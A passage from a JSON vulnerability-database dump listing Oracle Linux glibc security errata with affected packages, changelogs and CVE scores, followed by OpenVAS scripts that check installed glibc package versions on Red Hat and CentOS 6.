"Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-2.5-65.el5_7.3.src.rpm", "packageName": "glibc", "arch": "src", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-2.5-65.el5_7.3.src.rpm", "packageName": "glibc", "arch": "src", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-2.5-65.el5_7.3.src.rpm", "packageName": "glibc", "arch": "src", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-devel-2.5-65.el5_7.3.i386.rpm", "packageName": "glibc-devel", "arch": "i386", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-devel-2.5-65.el5_7.3.i386.rpm", "packageName": "glibc-devel", "arch": "i386", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-devel-2.5-65.el5_7.3.ia64.rpm", "packageName": "glibc-devel", "arch": "ia64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-utils-2.5-65.el5_7.3.ia64.rpm", "packageName": "glibc-utils", "arch": "ia64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-2.5-65.el5_7.3.i686.rpm", "packageName": "glibc", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-2.5-65.el5_7.3.i686.rpm", "packageName": "glibc", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-2.5-65.el5_7.3.i686.rpm", "packageName": "glibc", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-headers-2.5-65.el5_7.3.i386.rpm", "packageName": "glibc-headers", "arch": "i386", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "nscd-2.5-65.el5_7.3.i386.rpm", "packageName": "nscd", "arch": "i386", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-2.5-65.el5_7.3.ia64.rpm", "packageName": "glibc", "arch": "ia64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "nscd-2.5-65.el5_7.3.x86_64.rpm", "packageName": "nscd", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-headers-2.5-65.el5_7.3.x86_64.rpm", "packageName": "glibc-headers", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-common-2.5-65.el5_7.3.ia64.rpm", "packageName": "glibc-common", "arch": "ia64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-common-2.5-65.el5_7.3.x86_64.rpm", "packageName": "glibc-common", "arch": "x86_64", "operator": "lt"}], "description": "[2.5-65.el5_7.3]\n- Use correct type when casting d_tag (#767687)\n- Report write error in addmnt even for cached streams (#767687)\n- ldd: Never run file directly (#767687).\n- Workaround misconfigured system (#767687)\n[2.5-65.el5_7.2]\n- Check values from TZ file header (#767687)", "edition": 1, "reporter": "Oracle", "published": "2012-02-13T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 4.3}}, "title": "glibc security update", "type": "oraclelinux", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4609", "CVE-2010-0830", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "modified": "2012-02-13T00:00:00", "id": "ELSA-2012-0126", "href": "http://linux.oracle.com/errata/ELSA-2012-0126.html", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2016-09-04T11:16:30", "references": [], "affectedPackage": [{"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-2.3.4-2.57.i386.rpm", "packageName": "glibc", "arch": "i386", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-common-2.3.4-2.57.x86_64.rpm", "packageName": "glibc-common", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-utils-2.3.4-2.57.i386.rpm", "packageName": "glibc-utils", "arch": "i386", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-2.3.4-2.57.i686.rpm", "packageName": "glibc", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-2.3.4-2.57.i686.rpm", "packageName": "glibc", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-2.3.4-2.57.i686.rpm", "packageName": "glibc", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "nptl-devel-2.3.4-2.57.i386.rpm", "packageName": "nptl-devel", "arch": "i386", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "nptl-devel-2.3.4-2.57.x86_64.rpm", "packageName": "nptl-devel", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-devel-2.3.4-2.57.i386.rpm", "packageName": "glibc-devel", "arch": "i386", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-devel-2.3.4-2.57.i386.rpm", "packageName": "glibc-devel", "arch": "i386", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-headers-2.3.4-2.57.ia64.rpm", "packageName": "glibc-headers", "arch": "ia64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-headers-2.3.4-2.57.x86_64.rpm", "packageName": "glibc-headers", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-profile-2.3.4-2.57.i386.rpm", "packageName": "glibc-profile", "arch": "i386", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-common-2.3.4-2.57.i386.rpm", "packageName": "glibc-common", "arch": "i386", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-2.3.4-2.57.x86_64.rpm", "packageName": "glibc", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-devel-2.3.4-2.57.x86_64.rpm", "packageName": "glibc-devel", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-devel-2.3.4-2.57.ia64.rpm", "packageName": "glibc-devel", "arch": "ia64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "nptl-devel-2.3.4-2.57.i686.rpm", "packageName": "nptl-devel", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-2.3.4-2.57.src.rpm", "packageName": "glibc", "arch": "src", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-2.3.4-2.57.src.rpm", "packageName": "glibc", "arch": "src", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-2.3.4-2.57.src.rpm", "packageName": "glibc", "arch": "src", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-utils-2.3.4-2.57.ia64.rpm", "packageName": "glibc-utils", "arch": "ia64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-common-2.3.4-2.57.ia64.rpm", "packageName": "glibc-common", "arch": "ia64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-2.3.4-2.57.ia64.rpm", "packageName": "glibc", "arch": "ia64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-profile-2.3.4-2.57.x86_64.rpm", "packageName": "glibc-profile", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "nscd-2.3.4-2.57.ia64.rpm", "packageName": "nscd", "arch": "ia64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "nscd-2.3.4-2.57.x86_64.rpm", "packageName": "nscd", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "nscd-2.3.4-2.57.i386.rpm", "packageName": "nscd", "arch": "i386", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-headers-2.3.4-2.57.i386.rpm", "packageName": "glibc-headers", "arch": "i386", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-profile-2.3.4-2.57.ia64.rpm", "packageName": "glibc-profile", "arch": "ia64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-utils-2.3.4-2.57.x86_64.rpm", "packageName": "glibc-utils", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "nptl-devel-2.3.4-2.57.ia64.rpm", "packageName": "nptl-devel", "arch": "ia64", "operator": "lt"}], "description": "[2.3.4-2.57]\n- Use malloc as needed in fnmatch (#769360)\n[2.3.4-2.56]\n- Fix handling if newline in addmntent (#769360)\n- Use correct type when casting d_tag (#769360).\n- Properly quite output of local (#769360)\n- Check size of pattern in wide character representation in fnmatch (#769360)\n- Report write error in addmnt even for cached streams (#769360)\n- ldd: Never run file directly (#769360).\n- Check values from TZ file header (#767685)\n- Workaround misconfigured system (#767685)\n[2.3.4-2.55]\n- Require exact glibc version in nscd (#657009)", "edition": 1, "reporter": "Oracle", "published": "2012-02-13T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 2.1}}, "type": "oraclelinux", "title": "glibc security and bug fix update", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4609", "CVE-2010-0296", "CVE-2011-1659", "CVE-2010-0830", "CVE-2011-1071", "CVE-2011-1095", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "modified": "2012-02-13T00:00:00", "id": "ELSA-2012-0125", "href": "http://linux.oracle.com/errata/ELSA-2012-0125.html", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2016-09-04T11:17:13", "references": [], "affectedPackage": [{"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "x86_64", "packageFilename": "glibc-2.12-1.47.el6.x86_64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageFilename": "glibc-2.12-1.47.el6.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageFilename": "glibc-2.12-1.47.el6.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "x86_64", "packageFilename": "glibc-headers-2.12-1.47.el6.x86_64.rpm", "packageName": "glibc-headers", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "src", "packageFilename": "glibc-2.12-1.47.el6.src.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "src", "packageFilename": "glibc-2.12-1.47.el6.src.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "x86_64", "packageFilename": "glibc-devel-2.12-1.47.el6.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "x86_64", "packageFilename": "glibc-utils-2.12-1.47.el6.x86_64.rpm", "packageName": "glibc-utils", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageFilename": "glibc-utils-2.12-1.47.el6.i686.rpm", "packageName": "glibc-utils", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "x86_64", "packageFilename": "glibc-common-2.12-1.47.el6.x86_64.rpm", "packageName": "glibc-common", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "x86_64", "packageFilename": "nscd-2.12-1.47.el6.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageFilename": "glibc-common-2.12-1.47.el6.i686.rpm", "packageName": "glibc-common", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageFilename": "glibc-headers-2.12-1.47.el6.i686.rpm", "packageName": "glibc-headers", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageFilename": "glibc-static-2.12-1.47.el6.i686.rpm", "packageName": "glibc-static", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageFilename": "glibc-static-2.12-1.47.el6.i686.rpm", "packageName": "glibc-static", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "x86_64", "packageFilename": "glibc-static-2.12-1.47.el6.x86_64.rpm", "packageName": "glibc-static", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageFilename": "nscd-2.12-1.47.el6.i686.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageFilename": "glibc-devel-2.12-1.47.el6.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageFilename": "glibc-devel-2.12-1.47.el6.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}], "description": "[2.12-1.47]\n- Don't start AVC thread until credentials are installed (#700507)\n[2.12-1.46]\n- Update systemtaparches\n[2.12-1.45]\n- Update configure script\n[2.12-1.44]\n- Add gdb hooks (#711927)\n[2.12-1.43]\n- Don't assume AT_PAGESIZE is always available (#739184)\n- Define IP_MULTICAST_ALL (#738763)\n[2.12-1.42]\n- Avoid race between {,__de}allocate_stack and __reclaim_stacks during\n fork (#738665)\n[2.12-1.41]\n- Locale-independent parsing in libintl (#737778)\n[2.12-1.40]\n- Change setgroups to affect all the threads in the process (#736346)\n[2.12-1.39]\n- Make sure AVC thread has capabilities (#700507)\n- Fix memory leak in dlopen with RTLD_NOLOAD (#699724)\n[2.12-1.38]\n- Build libresolv with stack protector (#730379)\n[2.12-1.37]\n- Maintain stack alignment when cancelling threads (#731042)\n[2.12-1.36]\n- Fix missing debuginfo (#729036)\n[2.12-1.35]\n- Report write error in addmnt even for cached streams (#688980,\n CVE-2011-1089)\n- Handle Lustre filesystem (#712248)\n[2.12-1.34]\n- Query NIS domain only when needed (#718057)\n- Update: Use mmap for allocation of buffers used for __abort_msg\n (#676591)\n[2.12-1.33]\n- Don't use gethostbyaddr to determine canonical name (#714823)\n[2.12-1.32]\n- ldd: never run file directly (#713134)\n[2.12-1.31]\n- Support Intel processor model 6 and model 0x2c (#695595)\n- Optimize memcpy for SSSE3 (#695812)\n- Optimize strlen for SSE2 (#695963)\n[2.12-1.30]\n- Support f_flags in Linux statfs implementation (#711987)\n[2.12-1.29]\n- Avoid overriding CFLAGS (#706903)\n[2.12-1.28]\n- Use mmap for allocation of buffers used for __abort_msg (#676591)\n[2.12-1.27]\n- Fix PLT use due to __libc_alloca_cutoff\n- Schedule nscd cache pruning more accurately from re-added values\n (#703481)\n- Fix POWER4 optimized strncmp to not read past differing bytes\n (#694386)\n[2.12-1.26]\n- Create debuginfo-common on biarch platforms (#676467)\n- Use Rupee sign in Indian locales (#692838)\n- Signal temporary host lookup errors in nscd as such to the requester\n (#703480)\n- Define initgroups callback for nss_files (#705465)", "edition": 1, "reporter": "Oracle", "published": "2011-12-14T00:00:00", "title": "glibc security, bug fix, and enhancement update", "enchantments": {"score": {"vector": "NONE", "value": 2.1}}, "type": "oraclelinux", "bulletinFamily": "unix", "cvelist": ["CVE-2011-1089", "CVE-2009-5064"], "modified": "2011-12-14T00:00:00", "href": "http://linux.oracle.com/errata/ELSA-2011-1526.html", "id": "ELSA-2011-1526", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "openvas": [{"lastseen": "2018-04-06T11:18:34", "references": ["https://www.redhat.com/archives/rhsa-announce/2012-January/msg00020.html", "2012:0058-01"], "pluginID": "1361412562310870722", "description": "Check for the Version of glibc", "edition": 1, "reporter": "Copyright (c) 2012 Greenbone Networks GmbH", "published": "2012-07-09T00:00:00", "title": "RedHat Update for glibc RHSA-2012:0058-01", "type": "openvas", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "naslFamily": "Red Hat Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2009-5029"], "modified": "2018-04-06T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310870722", "id": "OPENVAS:1361412562310870722", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# RedHat Update for glibc RHSA-2012:0058-01\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"The glibc packages contain the standard C libraries used by multiple\n programs on the system. These packages contain the standard C and the\n standard math libraries. Without these two libraries, a Linux system cannot\n function properly.\n\n An integer overflow flaw, leading to a heap-based buffer overflow, was\n found in the way the glibc library read timezone files. If a\n carefully-crafted timezone file was loaded by an application linked against\n glibc, it could cause the application to crash or, potentially, execute\n arbitrary code with the privileges of the user running the application.\n (CVE-2009-5029)\n\n A denial of service flaw was found in the remote procedure call (RPC)\n implementation in glibc. A remote attacker able to open a large number of\n connections to an RPC service that is using the RPC implementation from\n glibc, could use this flaw to make that service use an excessive amount of\n CPU time. (CVE-2011-4609)\n\n This update also fixes the following bugs:\n\n * glibc had incorrect information for numeric separators and groupings for\n specific French, Spanish, and German locales. Therefore, applications\n utilizing glibc's locale support printed numbers with the wrong separators\n and groupings when those locales were in use. With this update, the\n separator and grouping information has been fixed. (BZ#754116)\n\n * The RHBA-2011:1179 glibc update introduced a regression, causing glibc to\n incorrectly parse groups with more than 126 members, resulting in\n applications such as &quot;id&quot; failing to list all the groups a particular user\n was a member of. With this update, group parsing has been fixed.\n (BZ#766484)\n\n * glibc incorrectly allocated too much memory due to a race condition\n within its own malloc routines. This could cause a multi-threaded\n application to allocate more memory than was expected. With this update,\n the race condition has been fixed, and malloc's behavior is now consistent\n with the documentation regarding the MALLOC_ARENA_TEST and MALLOC_ARENA_MAX\n environment variables. (BZ#769594)\n\n Users should upgrade to these updated packages, which contain backported\n patches to resolve these issues.\";\n\ntag_affected = \"glibc on Red Hat Enterprise Linux Desktop (v. 6),\n Red Hat Enterprise Linux Server (v. 6),\n Red Hat Enterprise Linux Workstation (v. 6)\";\ntag_solution = \"Please Install the Updated Packages.\";\n\n\n\nif(description)\n{\n script_xref(name : \"URL\" , value : \"https://www.redhat.com/archives/rhsa-announce/2012-January/msg00020.html\");\n script_oid(\"1.3.6.1.4.1.25623.1.0.870722\");\n script_version(\"$Revision: 9352 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-04-06 09:13:02 +0200 (Fri, 06 Apr 2018) $\");\n script_tag(name:\"creation_date\", value:\"2012-07-09 10:53:27 +0530 (Mon, 09 Jul 2012)\");\n script_cve_id(\"CVE-2009-5029\", \"CVE-2011-4609\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_xref(name: \"RHSA\", value: \"2012:0058-01\");\n script_name(\"RedHat Update for glibc RHSA-2012:0058-01\");\n\n script_tag(name: \"summary\" , value: \"Check for the Version of glibc\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2012 Greenbone Networks GmbH\");\n script_family(\"Red Hat Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/rhel\", \"ssh/login/rpms\");\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"RHENT_6\")\n{\n\n if ((res = isrpmvuln(pkg:\"glibc\", rpm:\"glibc~2.12~1.47.el6_2.5\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-common\", rpm:\"glibc-common~2.12~1.47.el6_2.5\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-debuginfo\", rpm:\"glibc-debuginfo~2.12~1.47.el6_2.5\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-debuginfo-common\", rpm:\"glibc-debuginfo-common~2.12~1.47.el6_2.5\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-devel\", rpm:\"glibc-devel~2.12~1.47.el6_2.5\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-headers\", rpm:\"glibc-headers~2.12~1.47.el6_2.5\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-utils\", rpm:\"glibc-utils~2.12~1.47.el6_2.5\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nscd\", rpm:\"nscd~2.12~1.47.el6_2.5\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-01-11T11:06:24", "references": ["http://lists.centos.org/pipermail/centos-announce/2012-January/018397.html", "2012:0058"], "pluginID": "881117", "description": "Check for the Version of glibc", "edition": 3, "reporter": "Copyright (c) 2012 Greenbone Networks GmbH", "published": "2012-07-30T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "CentOS Update for glibc CESA-2012:0058 centos6 ", "type": "openvas", "naslFamily": "CentOS Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2009-5029"], "modified": "2018-01-10T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=881117", "id": "OPENVAS:881117", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# CentOS Update for glibc CESA-2012:0058 centos6 \n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"The glibc packages contain the standard C libraries used by multiple\n programs on the system. These packages contain the standard C and the\n standard math libraries. Without these two libraries, a Linux system cannot\n function properly.\n\n An integer overflow flaw, leading to a heap-based buffer overflow, was\n found in the way the glibc library read timezone files. If a\n carefully-crafted timezone file was loaded by an application linked against\n glibc, it could cause the application to crash or, potentially, execute\n arbitrary code with the privileges of the user running the application.\n (CVE-2009-5029)\n \n A denial of service flaw was found in the remote procedure call (RPC)\n implementation in glibc. A remote attacker able to open a large number of\n connections to an RPC service that is using the RPC implementation from\n glibc, could use this flaw to make that service use an excessive amount of\n CPU time. (CVE-2011-4609)\n \n This update also fixes the following bugs:\n \n * glibc had incorrect information for numeric separators and groupings for\n specific French, Spanish, and German locales. Therefore, applications\n utilizing glibc's locale support printed numbers with the wrong separators\n and groupings when those locales were in use. With this update, the\n separator and grouping information has been fixed. (BZ#754116)\n \n * The RHBA-2011:1179 glibc update introduced a regression, causing glibc to\n incorrectly parse groups with more than 126 members, resulting in\n applications such as &quot;id&quot; failing to list all the groups a particular user\n was a member of. With this update, group parsing has been fixed.\n (BZ#766484)\n \n * glibc incorrectly allocated too much memory due to a race condition\n within its own malloc routines. This could cause a multi-threaded\n application to allocate more memory than was expected. With this update,\n the race condition has been fixed, and malloc's behavior is now consistent\n with the documentation regarding the MALLOC_ARENA_TEST and MALLOC_ARENA_MAX\n environment variables. (BZ#769594)\n \n Users should upgrade to these updated packages, which contain backported\n patches to resolve these issues.\";\n\ntag_affected = \"glibc on CentOS 6\";\ntag_solution = \"Please Install the Updated Packages.\";\n\n\n\nif(description)\n{\n script_xref(name : \"URL\" , value : \"http://lists.centos.org/pipermail/centos-announce/2012-January/018397.html\");\n script_id(881117);\n script_version(\"$Revision: 8352 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-01-10 08:01:57 +0100 (Wed, 10 Jan 2018) $\");\n script_tag(name:\"creation_date\", value:\"2012-07-30 16:12:09 +0530 (Mon, 30 Jul 2012)\");\n script_cve_id(\"CVE-2009-5029\", \"CVE-2011-4609\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_xref(name: \"CESA\", value: \"2012:0058\");\n script_name(\"CentOS Update for glibc CESA-2012:0058 centos6 \");\n\n script_tag(name: \"summary\" , value: \"Check for the Version of glibc\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2012 Greenbone Networks GmbH\");\n 